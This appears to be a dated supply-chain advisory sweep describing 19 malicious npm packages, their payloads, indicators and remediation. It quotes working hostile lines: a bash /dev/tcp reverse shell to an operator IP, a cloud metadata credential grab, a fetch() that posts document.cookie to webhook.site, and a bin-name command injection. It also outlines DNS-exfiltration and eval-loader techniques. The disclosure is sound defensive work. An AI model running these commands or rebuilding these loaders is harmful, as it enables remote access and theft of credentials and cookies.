# GitHub Advisory malware sweep - 2026-09-20 + 2026-09-21 (npm `@nimbusedge2/*` + `@nimbsuedge3/xar` `147.93.157.202` reverse-shell dep-confusion continuation of 2026-09-12 Cluster G; `@baanx/solana-lib` `oob.algamil7x.xyz` DNS-OOB day 4; `test1*` + `chat-adapter-matrix` `128.199.122.145` / `pipedream.net` dep-confusion probe wave; `chai-testing` obfuscated axios-loader require-time RCE; `npmscript_tesstalert_unpkg` `webhook.site` cookie exfil; `@pwaplatform/module-sso-integration` `99.0.x` sentinel; `testmgkregme` binding.gyp GYP-expansion loader)

> GHSA 2026-09-20 + 2026-09-21: 18 new npm advisories (plus 1 from 09-20). Day 4 of the `oob.algamil7x.xyz` DNS-OOB operator (`@baanx/solana-lib` `bxsol` prefix). Continuation of the 2026-09-12 `@nimbusedge/auth` dep-confusion reverse-shell operator: six new `@nimbusedge2/*` + `@nimbsuedge3/xar` packages shell out to `147.93.157.202:8080` and beacon `canarytokens.com`. A dep-confusion probe wave (`test1*`, `chat-adapter-matrix`) targets bare-IP `128.199.122.145` and Pipedream. `chai-testing` and `testmgkregme` add real require-time RCE.

- Published: 2026-09-21
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm
- Scope: 19 packages, 23 compromised versions
- Tags: dependency-confusion, credential-theft, dns-exfiltration, obfuscation, ci-cd-compromise
- Also known as: 2026-09-21 GHSA npm sweep, @nimbusedge2 canarytokens.com follow-on, @baanx/solana-lib algamil7x.xyz day 4, test1* 128.199.122.145 dep-confusion pentest
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, kam193/bad-packages, jaschadub/compromised-packages-check
- Incident ID: multi-2026-09-21-ghsa-malware-sweep

## Affected packages (19)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@baanx/solana-lib](https://dependencywatch.io/package/npm/@baanx/solana-lib) | npm | 9.9.9, 9.9.10 |
| [@nimbsuedge3/xar](https://dependencywatch.io/package/npm/@nimbsuedge3/xar) | npm | 1.1.1 |
| [@nimbusedge2/auth](https://dependencywatch.io/package/npm/@nimbusedge2/auth) | npm | 1.1.1 |
| [@nimbusedge2/authxsas](https://dependencywatch.io/package/npm/@nimbusedge2/authxsas) | npm | 1.1.0 |
| [@nimbusedge2/authxsas1](https://dependencywatch.io/package/npm/@nimbusedge2/authxsas1) | npm | 1.1.0 |
| [@nimbusedge2/x](https://dependencywatch.io/package/npm/@nimbusedge2/x) | npm | 1.1.1 |
| [@nimbusedge2/xa](https://dependencywatch.io/package/npm/@nimbusedge2/xa) | npm | 1.1.0 |
| [@pwaplatform/module-sso-integration](https://dependencywatch.io/package/npm/@pwaplatform/module-sso-integration) | npm | 99.0.0, 99.0.1 |
| [chai-testing](https://dependencywatch.io/package/npm/chai-testing) | npm | 1.1.4 |
| [chat-adapter-matrix](https://dependencywatch.io/package/npm/chat-adapter-matrix) | npm | 99.99.99 |
| [npmscript_tesstalert_unpkg](https://dependencywatch.io/package/npm/npmscript_tesstalert_unpkg) | npm | 1.0.1, 1.0.2 |
| [npx-test-ma980](https://dependencywatch.io/package/npm/npx-test-ma980) | npm | 1.0.1 |
| [test12vv36](https://dependencywatch.io/package/npm/test12vv36) | npm | 99.99.99 |
| [test1df23](https://dependencywatch.io/package/npm/test1df23) | npm | 99.99.99 |
| [test1gg234](https://dependencywatch.io/package/npm/test1gg234) | npm | 99.99.99 |
| [test1hh235](https://dependencywatch.io/package/npm/test1hh235) | npm | 99.99.99 |
| [test1ro](https://dependencywatch.io/package/npm/test1ro) | npm | 99.99.99, 999.99.99 |
| [test1sdsd2](https://dependencywatch.io/package/npm/test1sdsd2) | npm | 99.99.99 |
| [testmgkregme](https://dependencywatch.io/package/npm/testmgkregme) | npm | 1.0.1 |

## What happened

Between roughly 2026-09-20 12:00 UTC and 2026-09-21 12:00 UTC, GitHub Advisory Database published 18 new npm malware advisories (plus one from 2026-09-20 covered here). This is the largest sweep window since 2026-09-19, and it is dominated by two operator continuations - the 2026-09-12 `@nimbusedge/auth` dep-confusion reverse-shell operator returning with six new packages under a `nimbusedge2` / `nimbsuedge3` naming scheme, and the `oob.algamil7x.xyz` DNS-OOB operator (days 1-3 catalogued in 2026-09-18 and 2026-09-19) returning with a fourth day of infrastructure under a new `bxsol` (Baanx Solana) campaign prefix.

## Cluster A - `@nimbusedge2/*` + `@nimbsuedge3/xar` reverse-shell dep-confusion (continuation of 2026-09-12 Cluster G)

| Package | Version | GHSA | MAL |
|---|---|---|---|
| `@nimbusedge2/auth` | `1.1.1` | GHSA-9hmg-mp2c-g9wr | MAL-2026-16302 |
| `@nimbsuedge3/xar` | `1.1.1` | GHSA-rg8r-9wp3-7jrg | MAL-2026-16301 |
| `@nimbusedge2/x` | `1.1.1` | GHSA-488m-x4jr-5x75 | MAL-2026-16305 |
| `@nimbusedge2/xa` | `1.1.0` | GHSA-m4pg-jjmc-xgr9 | MAL-2026-16306 |
| `@nimbusedge2/authxsas` | `1.1.0` | GHSA-8mrv-jcm6-9rv3 | MAL-2026-16303 |
| `@nimbusedge2/authxsas1` | `1.1.0` | GHSA-92qm-hjm8-mp6j | MAL-2026-16304 |

**Payload A (reverse shell + canarytoken beacon).** Four of the six (`@nimbusedge2/auth`, `@nimbsuedge3/xar`, `@nimbusedge2/x`, `@nimbusedge2/xa`) run a `preinstall` hook that opens `bash -i >& /dev/tcp/147.93.157.202/8080 0>&1` (interactive reverse shell to the operator IP), then pipes the shell output via curl to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` (the canarytoken beacon URL). This is the **same operator IP and canarytoken UUID as the `@nimbusedge/auth` cluster of 2026-09-12** (Cluster G of that sweep), which used inflated `19999.x` sentinel versioning under the original `@nimbusedge` scope. The follow-on `nimbusedge2` and `nimbsuedge3` scopes are the operator`s response to the original scope being flagged - the tactic and infrastructure are unchanged, only the scope name rotated.

**Payload B (cloud IMDS exfil).** The two `@nimbusedge2/authxsas` and `@nimbusedge2/authxsas1` variants swap in a different primitive: they curl the AWS/GCP/Azure Instance Metadata Service via a wildcard-DNS wrapper (`169.254.169.254.nip.io/latest/meta-data/`) to bypass hardcoded-IP egress filters, base64-encode the response, and POST it to the same canarytoken beacon URL. On any AWS EC2, GCP Compute, or Azure VM with IMDSv1 reachable, this leaks the instance IAM role identifier and (on IMDSv1) temporary role credentials at install time. Even on IMDSv2-only hosts, the instance identity metadata leaves the host.

The manifest description on some variants reads "Authorized report" - operator-controlled text designed to look like a legitimate security-research artefact. The actual behaviour (unauthenticated reverse shell to a public IP + canarytoken beacon) is a real compromise regardless of the label.

## Cluster B - `@baanx/solana-lib` `oob.algamil7x.xyz` DNS-OOB (day 4 of operator; new `bxsol` prefix)

`@baanx/solana-lib@9.9.9`/`9.9.10` (GHSA-pvh9-27rp-6282, MAL-2026-16300). Impersonates a Baanx (a licensed crypto payments provider) Solana SDK, which does not exist as a public package - the operator invented the name.

Install chain:

1. Package `main` triggers `index.js` at install time
2. `index.js` loads `lib/core.js`
3. `lib/core.js` resolves `os.userInfo().username`, `os.hostname()`, and `process.cwd()` basename via `module.constructor._load` (evasion, bypasses literal `require()` for static scanners)
4. Concatenates the values with a timestamp and the campaign prefix `bxsol`
5. DNS-resolves `bxsol-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz`
6. Operator reads the resolution in their authoritative DNS log

This matches the operator IOC catalogued on day 1 (2026-09-18, `@tink/tink-link-core@9.9.10`, `tinkcore` prefix), day 2 (2026-09-19, four `@shared-web`/`@shared-runtime`/`@insiderintelligence` packages at `9.9.10` with per-package prefixes), and (quietly, but persistently) day 3. Today is day 4 - new prefix (`bxsol`), same DNS zone, same code style (`String.fromCharCode` hex-array obfuscation in two per-package `lib/*.js` files, `module.constructor._load` evasion, sentinel `9.9.x` versioning).

Expect day 5 tomorrow under yet another internal-lookalike scope.

## Cluster C - `test1*` + `chat-adapter-matrix` `128.199.122.145` / `pipedream.net` dep-confusion probe wave

| Package | Version | GHSA | MAL | Collector |
|---|---|---|---|---|
| `test1sdsd2` | `99.99.99` | GHSA-9mc8-mrvr-f664 | MAL-2026-16316 | `http://128.199.122.145/?test1sdsd2` |
| `test1df23` | `99.99.99` | GHSA-78p9-g7q9-mcjw | MAL-2026-16312 | `http://128.199.122.145/?test1df23` |
| `test1gg234` | `99.99.99` | GHSA-w7fw-w5xv-5p8v | MAL-2026-16313 | `http://128.199.122.145/?test1gg234` |
| `test1hh235` | `99.99.99` | GHSA-qrfc-3762-c24w | MAL-2026-16314 | `http://128.199.122.145/?test1hh235` |
| `test12vv36` | `99.99.99` | GHSA-7f39-795r-gxj4 | MAL-2026-16311 | `http://128.199.122.145/?test12vv36` |
| `test1ro` | `99.99.99`/`999.99.99` | GHSA-8rr3-xrmc-xvjf | MAL-2026-16315 | `http://eo8f3m3ho26a0nm.m.pipedream.net/` |
| `chat-adapter-matrix` | `99.99.99` | GHSA-2rg8-m9rx-gfhf | MAL-2026-16308 | `https://eo8f3m3ho26a0nm.m.pipedream.net/chat-adapter-matrix` |
| `npx-test-ma980` | `1.0.1` | GHSA-9vj4-6r95-2p6w | MAL-2026-16310 | Local Windows `calc.exe` (bin-key metacharacter) |

**Payload (six `test1*`).** `preinstall`+`postinstall` execute `index.js` which HTTP-GETs `http://128.199.122.145/?<pkgname>` (plaintext, bare IP, package name in the query string). The operator sees the source IP of every installer plus which of their dep-confusion probe names resolved.

**Payload (`test1ro`, `chat-adapter-matrix`).** Same primitive with a different collector: an `eo8f3m3ho26a0nm.m.pipedream.net` Pipedream endpoint. `chat-adapter-matrix` fires the beacon from seven separate lifecycle hooks (`preinstall`, `install`, `postinstall`, `prepare`, `prepublish`, `preprepare`, `postprepare`) plus its main module - designed to maximise the chance of catching the resolution even under partial script-blocking.

**Payload (`npx-test-ma980`).** Distinct primitive: the `package.json` declares `bin: { "tool & calc.exe": "./run.js" }`. On Windows, when npm links the bin, the ampersand is parsed as a shell command separator; `calc.exe` executes as a proof of the bin-name metacharacter injection primitive. The included `run.js` and `payload.json` are trivial stubs - the malformed bin key is the entire attack surface.

The naming pattern (six `test1*` numeric-suffix probes plus one `test1ro` variant plus `chat-adapter-matrix` reusing the same Pipedream collector) is consistent with a single dep-confusion pentest engagement iterating numeric suffixes and a lookalike name against a Matrix chat adapter. Same shape as the 2026-09-18/19 `test89*-auth` engagement, different operator (different collector IPs and probe naming).

## Cluster D - `chai-testing` obfuscated axios-loader require-time RCE

`chai-testing@1.1.4` (GHSA-5jvh-cf7p-qx9w, MAL-2026-16307). Impersonates a `chai` assertion-library plugin; the README references `chai` and `pino` for search-result confusion. On require:

1. Module spawns a *detached* Node child process (`{ detached: true }` - survives parent exit)
2. Base64-decodes a hardcoded URL
3. Fetches the response body via axios
4. Passes the response body to `new Function('require', responseBody)` and invokes it with the real `require`

Every module load = full remote code execution + persistent detached process on the installer host. Same architectural class as `chai-as-indexed` (Cluster E of 2026-09-19) but adds the detached-process step to survive the parent CI job.

## Cluster E - `npmscript_tesstalert_unpkg` `webhook.site` browser cookie exfil (unpkg CDN vector)

`npmscript_tesstalert_unpkg@1.0.1`/`1.0.2` (GHSA-r2rm-wm4f-f55p, MAL-2026-16309). Not a Node-install-time payload - the vector is the unpkg CDN. The package is designed to be `<script src="https://unpkg.com/npmscript_tesstalert_unpkg">`-referenced from a website; on execution in the browser it fires `alert()` (proof) and then:

```
fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
})
```

Any site whose HTML included this unpkg reference exfiltrated its visitors` `document.cookie` (session tokens, JWTs, CSRF tokens) to `webhook.site`. This is a rare browser-tier supply-chain vector in an otherwise Node-install-time-dominated sweep window.

## Cluster F - `@pwaplatform/module-sso-integration` sentinel dep-confusion (published 2026-09-20)

`@pwaplatform/module-sso-integration@99.0.0`/`99.0.1` (GHSA-26h7-cmv3-wgv6, MAL-2026-16299). Sentinel-tier versions match the dep-confusion resolution-attack pattern (`99.0.x` on a plausibly-internal PWA-platform SSO-integration name). OpenSSF Package Analysis flagged two behaviours: "communicates with a domain associated with malicious activity" and "executes one or more commands associated with malicious behavior". Precise payload IOC not disclosed in the GHSA body at the time of writing.

## Cluster G - `testmgkregme` `binding.gyp` GYP command-expansion loader

`testmgkregme@1.0.1` (GHSA-hc49-rwm2-p2w7, MAL-2026-16317). A rare native-build vector:

1. `package.json` declares a dependency on `node-gyp`
2. `binding.gyp` uses GYP command-expansion syntax in its `sources` array to run `node index.js` during `node-gyp rebuild`
3. `index.js` decodes an AES-128-GCM-encrypted payload with a Caesar-cipher (ROT4) key
4. The plaintext is passed to `eval()`

No legitimate native source files ship with the package - the `binding.gyp` exists purely to reach `node-gyp rebuild` as an install-time execution path, which is *not* consistently blocked by `--ignore-scripts` across npm versions. This is why the anti-analysis design (Caesar + AES-128-GCM) matters: static scanners walking the JavaScript-side install script won`t see the payload, and `--ignore-scripts` may still allow `node-gyp rebuild` to fire.

## Cluster H - OSV-only additions (not on GHSA at time of writing; from OpenSSF bulk export)

Per [jaschadub/compromised-packages-check PR #135](https://github.com/jaschadub/compromised-packages-check/pull/135), the OSV bulk export for the 2026-09-20/21 window contains 47 npm + 1 PyPI entries. The 18 npm entries above are the ones GitHub Advisory Database has published so far; the remainder appear in OSV-only:

- `@siriusbeyond/auth@99.0.0`, `@siriusbeyond/ui@99.0.0`, `@siriusbeyond/utils@99.0.0`, `siriusbeyond@1.0.0` (MAL-2026-16320-16322, 16343): npm publisher `atulnagu123`, manifest description "SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com", `preinstall`+`postinstall` run `callback.js`. Neutral disclosure but the internal `@siriusbeyond` name is now permanently unusable on public npm
- `starbucks-sdk@1.0.0`: same publisher, same "SECURITY RESEARCH" tagline
- `@dbbhk/ui-components@99.0.0`: description "HSBC DBBHK UI Components", same `callback.js` preinstall/postinstall pattern (likely same operator as `@siriusbeyond`)
- `keroeltopgg`/`keroeltopkk`/`keroeltopkkk@99.99.99` (MAL-2026-16334-16336): follow-on variants of yesterday`s `keroeltop` (Cluster J of 2026-09-19). The operator republished `gg`/`kk`/`kkk` suffixes and then self-unpublished within hours - private mirrors may still cache the tarballs
- `element-plus-vite-cli@2.9.3`/`2.9.5` and `@asenfotech/unplugin-element-plus`: Element Plus toolchain impersonation, self-unpublished on the same day; low visibility, but any private mirror that cached the tarballs still serves them
- pip `rrs@0.3.100`/`0.4.105`/`0.4.106` (MAL-2026-16346): OSV-classified anomalous-version PyPI malware

These are covered here so cross-registry deny-lists are complete even before GHSA catches up.

## Cross-operator patterns worth flagging

1. **The `@nimbusedge` reverse-shell operator is on its second scope** (originally `@nimbusedge/*` on 2026-09-12, now `@nimbusedge2/*` + `@nimbsuedge3/*`). Same IP (`147.93.157.202:8080`), same canarytoken UUID, same primitive. If your egress rules still allow `147.93.157.202` (or the canarytoken beacon URL) you have missed the durable IOC of this operator, which has now spanned nine days across two scopes.
2. **The `oob.algamil7x.xyz` DNS-OOB operator is on day 4.** New campaign prefix (`bxsol`) but same zone, same manifest style, same obfuscation. This is a persistent operator; expect at least one new package per day for the foreseeable future.
3. **Dep-confusion pentest activity is on a new operator.** Yesterday`s `test89*-auth` engagement (`dnshook.site` OOB) has stopped; today`s `test1*` + `chat-adapter-matrix` engagement (`128.199.122.145` + Pipedream) is on a different collector. Both operators use the same "iterate a numeric suffix on a probe name" shape.
4. **`chai-testing` adds a detached process step.** `chai-as-indexed` (2026-09-19 Cluster E) did require-time RCE + full-`process.env` exfil in the parent process; `chai-testing` runs the loader in a *detached* child so it survives the parent CI job exit. Expect this variant to spread.
5. **The `unpkg` browser-tier vector is unusual.** Most npm malware fires at install; `npmscript_tesstalert_unpkg` fires in the *visitor`s* browser when a site vendors it via unpkg. Any site that ever included the package via unpkg leaked visitor cookies. Egress denylists on `unpkg.com` are impractical, so the mitigation is CSP + explicit script-source allow-lists.

## Registry state

All packages in Clusters A-G are flagged as malware on npm and quarantined. Some Cluster H entries (`keroeltopgg`/`kk`/`kkk`, `element-plus-vite-cli`) were self-unpublished by their operators the same day; the tarballs may still be reachable via private mirrors or the npm follower feed. Network-edge egress blocks on `147.93.157.202`, `canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v`, `oob.algamil7x.xyz`, `128.199.122.145`, `*.m.pipedream.net`, `webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/` are the durable mitigations.

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`, `kam193/bad-packages`, `jaschadub/compromised-packages-check` (PR #135). Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-20 12:00 UTC and 2026-09-21 12:00 UTC.

## Impact

- **Cluster A - 6x npm `@nimbusedge2/*` + `@nimbsuedge3/xar` `147.93.157.202` reverse-shell dep-confusion (continuation of 2026-09-12 Cluster G)**: `@nimbusedge2/auth@1.1.1` (GHSA-9hmg-mp2c-g9wr, MAL-2026-16302), `@nimbsuedge3/xar@1.1.1` (GHSA-rg8r-9wp3-7jrg, MAL-2026-16301), `@nimbusedge2/x@1.1.1` (GHSA-488m-x4jr-5x75, MAL-2026-16305), `@nimbusedge2/xa@1.1.0` (GHSA-m4pg-jjmc-xgr9, MAL-2026-16306), `@nimbusedge2/authxsas@1.1.0` (GHSA-8mrv-jcm6-9rv3, MAL-2026-16303), `@nimbusedge2/authxsas1@1.1.0` (GHSA-92qm-hjm8-mp6j, MAL-2026-16304). `preinstall` runs `bash -i >& /dev/tcp/147.93.157.202/8080 0>&1` (interactive reverse shell) and pipes command output via curl to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php`. The `@nimbusedge2/authxsas`/`authxsas1` variants swap in a wildcard-DNS wrapper (`169.254.169.254.nip.io/latest/meta-data/`) to reach cloud IMDS and base64-post the response to the same canarytoken. **Same operator IP (`147.93.157.202:8080`) and same canarytoken UUID as the `@nimbusedge/auth` cluster published 2026-09-12** — this is a follow-on scope (`nimbusedge2`/`nimbsuedge3`) after the original scope was quarantined. The `authxsas` variant is the more dangerous of the pair: on AWS/GCP/Azure with IMDSv1 reachable, temporary IAM credentials leave the host at install time
- **Cluster B - npm `@baanx/solana-lib` `oob.algamil7x.xyz` DNS-OOB (day 4 of the operator; new `bxsol` prefix)**: `@baanx/solana-lib@9.9.9`/`9.9.10` (GHSA-pvh9-27rp-6282, MAL-2026-16300). Impersonates a Baanx Solana SDK. Install script runs `index.js` → `lib/core.js`, resolves `os.userInfo().username`/`os.hostname()`/`process.cwd()` basename via `module.constructor._load` (evasion), and DNS-resolves `bxsol-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz` — same operator IOC as `@tink/tink-link-core` (2026-09-18), `@shared-web/utils` / `@shared-web/assets` / `@shared-runtime/modules` / `@insiderintelligence/googleadmanager` (2026-09-19), and yesterday`s quiet day. **Day 4 of the same operator, new campaign prefix** (`bxsol` = Baanx Solana). Payload matches previous days verbatim; String.fromCharCode hex-array obfuscation in per-package `lib/*.js` files, indirect Node builtin resolution
- **Cluster C - 8x npm `test1*` + `chat-adapter-matrix` `128.199.122.145` / `pipedream.net` dep-confusion probe wave**: `test1sdsd2@99.99.99` (GHSA-9mc8-mrvr-f664, MAL-2026-16316), `test1df23@99.99.99` (GHSA-78p9-g7q9-mcjw, MAL-2026-16312), `test1gg234@99.99.99` (GHSA-w7fw-w5xv-5p8v, MAL-2026-16313), `test1hh235@99.99.99` (GHSA-qrfc-3762-c24w, MAL-2026-16314), `test12vv36@99.99.99` (GHSA-7f39-795r-gxj4, MAL-2026-16311), `test1ro@99.99.99`/`999.99.99` (GHSA-8rr3-xrmc-xvjf, MAL-2026-16315), `npx-test-ma980@1.0.1` (GHSA-9vj4-6r95-2p6w, MAL-2026-16310), `chat-adapter-matrix@99.99.99` (GHSA-2rg8-m9rx-gfhf, MAL-2026-16308). Six `test1*` packages share one payload: `preinstall`+`postinstall` execute `index.js` which HTTP-GETs `http://128.199.122.145/?<pkgname>` (plaintext, bare IP, package name in query string — signals the operator that dep-confusion resolution succeeded and leaks source IP). `test1ro` and `chat-adapter-matrix` swap the collector to `eo8f3m3ho26a0nm.m.pipedream.net`. `npx-test-ma980` is the odd one out: its `bin` key contains an ampersand ("`tool & calc.exe`": `./run.js`) — on Windows `npx` / global-install this fires `calc.exe` as a proof-of-concept Windows command injection via bin-name shell metacharacter parsing. Sentinel version `99.99.99` (and `999.99.99` on `test1ro`) is the classic dep-confusion resolution-attack marker. Pentest-shaped but the collector IPs harvest hostname + IP
- **Cluster D - npm `chai-testing@1.1.4` obfuscated axios-loader require-time RCE**: GHSA-5jvh-cf7p-qx9w, MAL-2026-16307. Masquerades as a `chai`/`pino` testing/logging helper. On `require`, spawns a *detached* Node process that base64-decodes a hardcoded URL, fetches the response via axios, then passes the response body to `Function()` and invokes it with `require` in scope. Full remote code execution on every module load — `--ignore-scripts` does not block this. Same architectural class as `chai-as-indexed` (Cluster E of 2026-09-19 sweep): require-time exfil-and-RCE via a base64-encoded collector URL
- **Cluster E - npm `npmscript_tesstalert_unpkg` `webhook.site` browser cookie exfil (unpkg CDN vector)**: `npmscript_tesstalert_unpkg@1.0.1`/`1.0.2` (GHSA-r2rm-wm4f-f55p, MAL-2026-16309). Distinct from the other clusters: this is not a Node-side install-time payload — the module is designed to be loaded by a website *via the unpkg CDN* (`https://unpkg.com/npmscript_tesstalert_unpkg`). On execution in a browser context: `alert()` then `fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie })`. Any site that vendored the package via unpkg leaks its visitors` `document.cookie` (session tokens, JWTs stored in cookies) to `webhook.site`. Web-tier XSS-adjacent supply-chain vector
- **Cluster F - npm `@pwaplatform/module-sso-integration@99.0.0`/`99.0.1` sentinel dep-confusion + OpenSSF communication+exec flag**: GHSA-26h7-cmv3-wgv6, MAL-2026-16299. Published 2026-09-20 (one day earlier than the rest of this sweep). OpenSSF Package Analysis flagged for two behaviours: "communicates with a domain associated with malicious activity" and "executes one or more commands associated with malicious behavior". Sentinel-tier version numbers (`99.0.0`, `99.0.1`) match the dep-confusion resolution-attack pattern. Precise payload IOC not published in the advisory body at the time of writing — treat as install-time compromise until IOC lands
- **Cluster G - npm `testmgkregme` `binding.gyp` + `node-gyp rebuild` + Caesar/AES-128-GCM loader**: `testmgkregme@1.0.1` (GHSA-hc49-rwm2-p2w7, MAL-2026-16317). Deceptive multi-layer loader: the manifest depends on `node-gyp`, `binding.gyp` uses GYP command-expansion in its `sources` field to run `node index.js` during `node-gyp rebuild` (this is the primitive: `sources` accepts a shell-expanded expression at build time). `index.js` decodes an AES-128-GCM-encrypted payload with a Caesar-cipher ROT4-obfuscated key, then evals the plaintext. No legitimate native source files ship with the package — the `binding.gyp` exists purely to reach `node-gyp rebuild` as an install-time execution vector, which is *not* blocked by `--ignore-scripts` on some npm versions
- **Cluster H - OSV-only additions (not on GHSA at the time of writing; from OpenSSF bulk export)**: `@siriusbeyond/auth@99.0.0`, `@siriusbeyond/ui@99.0.0`, `@siriusbeyond/utils@99.0.0`, `siriusbeyond@1.0.0` (MAL-2026-16320-16322, 16343) — same npm publisher `atulnagu123` labelled "SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com" in the manifest description; preinstall+postinstall run `callback.js`. `starbucks-sdk@1.0.0` — same publisher, same "SECURITY RESEARCH" tagline. `@dbbhk/ui-components@99.0.0` — "HSBC DBBHK UI Components" description, same `callback.js` pattern. `keroeltopgg`/`keroeltopkk`/`keroeltopkkk` (`@99.99.99`) — follow-on variants of yesterday`s `keroeltop` (Cluster J of 2026-09-19 sweep), unpublished within hours of appearing. `element-plus-vite-cli@2.9.3`/`2.9.5` and a related `@asenfotech/unplugin-element-plus` — Element Plus toolchain impersonation. pip `rrs@0.3.100`/`0.4.105`/`0.4.106` — OSV-classified anomalous-version PyPI malware (MAL-2026-16346). All in `jaschadub/compromised-packages-check` PR #135 but not yet in GHSA

## What to do

1. Grep every `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `package.json`, `requirements.txt`, `Pipfile.lock`, and `poetry.lock` in your org for every package name in Clusters A through H. Uninstall on hit, wipe `node_modules`/`.venv`, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, D, E, G include real payloads (reverse shell, DNS exfil, HTTP-collector beacons, require-time RCE, browser cookie exfil, GYP-expansion loader) - a hit is a compromise, not a warning
2. **For Cluster A (`@nimbusedge2/*` / `@nimbsuedge3/xar` reverse-shell)**: block IP `147.93.157.202` at corporate egress and add `canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` to your outbound HTTP deny-list (same canarytoken UUID as the 2026-09-12 `@nimbusedge/auth` cluster). If your organization owns any internal `nimbusedge`, `nimbusedge2`, or `nimbsuedge` scope and resolves it against public npm, publish an authoritative higher-version internal build immediately or (better) configure the scope to resolve only from your private registry with `.npmrc`. AWS/GCP/Azure hosts that installed `@nimbusedge2/authxsas`/`authxsas1` with IMDSv1 reachable should have IAM credentials rotated on the assumption they left the host
3. **For Cluster B (`@baanx/solana-lib`)**: uninstall on hit, block `oob.algamil7x.xyz` at your resolver (same operator zone as the 2026-09-18 and 2026-09-19 clusters). Any host that installed the package DNS-resolved a label carrying hostname/username/cwd to the operator - rotate credentials accessible from that host and treat build environments as intelligence-gathering hits
4. **For Cluster C (`test1*` / `chat-adapter-matrix` probe wave)**: block bare-IP egress `128.199.122.145` and `eo8f3m3ho26a0nm.m.pipedream.net` at CI egress. If your org maintains any short `test1*` internal name or a `chat-adapter-matrix` package, pin it to your internal registry with `.npmrc` and configure the internal registry to refuse public-npm publishes under those names. For `npx-test-ma980`: on Windows, review global installs and `npx` cache for bin declarations containing shell metacharacters (`&`, `|`, `;`, `>`) - the fix is to validate `bin` keys before install
5. **For Cluster D (`chai-testing`)**: `--ignore-scripts` does NOT block this - it triggers on `require`. Any Node process that loaded the package spawned a detached child that pulled a remote payload and passed it to `Function()`. Rotate every credential visible to the parent process; block the (currently undisclosed) collector URL at egress
6. **For Cluster E (`npmscript_tesstalert_unpkg`)**: audit HTML/JS sources for any `<script src="https://unpkg.com/npmscript_tesstalert_unpkg">` reference; remove and re-issue any session cookies for visitors that hit those pages. Block `webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/` at your CDN and CSP-restrict script sources to a static allow-list
7. **For Cluster F (`@pwaplatform/module-sso-integration`)**: uninstall on hit, rotate env values as a precaution; if you maintain a `@pwaplatform` scope internally, pin it to your registry. Sentinel version `99.0.x` on a plausibly-internal `module-sso-integration` name is the classic dep-confusion pattern
8. **For Cluster G (`testmgkregme` binding.gyp loader)**: uninstall and audit your CI for `node-gyp rebuild` invocations against untrusted packages. Consider disallowing native-build packages in production `npm install` (`npm config set ignore-scripts true` may not stop `node-gyp rebuild` on all versions - a policy-based deny at the registry level is more durable). If your org registry supports it, block packages that ship a `binding.gyp` with command-expansion in `sources`
9. **For Cluster H (OSV-only additions)**: uninstall on hit; for the `@siriusbeyond` and `starbucks-sdk` "security research" pentest artefacts, treat as neutral disclosure and pin the internal names to your registry; for `@dbbhk/ui-components`, treat as compromise; for the `keroeltopgg`/`kk`/`kkk` follow-on variants, block them at your registry alongside the original `keroeltop`; for `element-plus-vite-cli@2.9.3`/`2.9.5`, verify no dependency resolves to those exact versions - the maintainer unpublished them the same day but private mirrors may still cache the tarball. For pip `rrs@0.3.100`/`0.4.105`/`0.4.106`, add to your PyPI denylist
10. For every `npm install` in CI, prefer `--ignore-scripts` and enforce it at the runner level; layer with egress denylists on `oob.algamil7x.xyz`, `canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v`, `147.93.157.202`, `128.199.122.145`, `*.m.pipedream.net`, `webhook.site`, and `169.254.169.254` from unexpected hosts
11. Add every specific package name below to your internal private-registry deny-list for at least 30 days. Extend the pin-lists from the 2026-09-12 sweep (`@nimbusedge/*`) to `@nimbusedge2/*`, `@nimbsuedge3/*`, `@baanx/*`, `test1*`, `chat-adapter-*`, `npx-test-*`, `chai-testing`, `chai-as-*`, `npmscript_*`, `@pwaplatform/*`, `testmgk*`, `@siriusbeyond/*`, `siriusbeyond`, `starbucks-sdk`, `@dbbhk/*`, `keroeltop*`, `element-plus-vite-cli`, and `@asenfotech/*`

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [GHSA-9hmg-mp2c-g9wr - @nimbusedge2/auth (Cluster A - reverse shell dep-confusion)](https://github.com/advisories/GHSA-9hmg-mp2c-g9wr) - GitHub
- [GHSA-rg8r-9wp3-7jrg - @nimbsuedge3/xar (Cluster A - reverse shell + canarytoken beacon)](https://github.com/advisories/GHSA-rg8r-9wp3-7jrg) - GitHub
- [GHSA-488m-x4jr-5x75 - @nimbusedge2/x (Cluster A - reverse shell)](https://github.com/advisories/GHSA-488m-x4jr-5x75) - GitHub
- [GHSA-m4pg-jjmc-xgr9 - @nimbusedge2/xa (Cluster A - reverse shell + curl beacon)](https://github.com/advisories/GHSA-m4pg-jjmc-xgr9) - GitHub
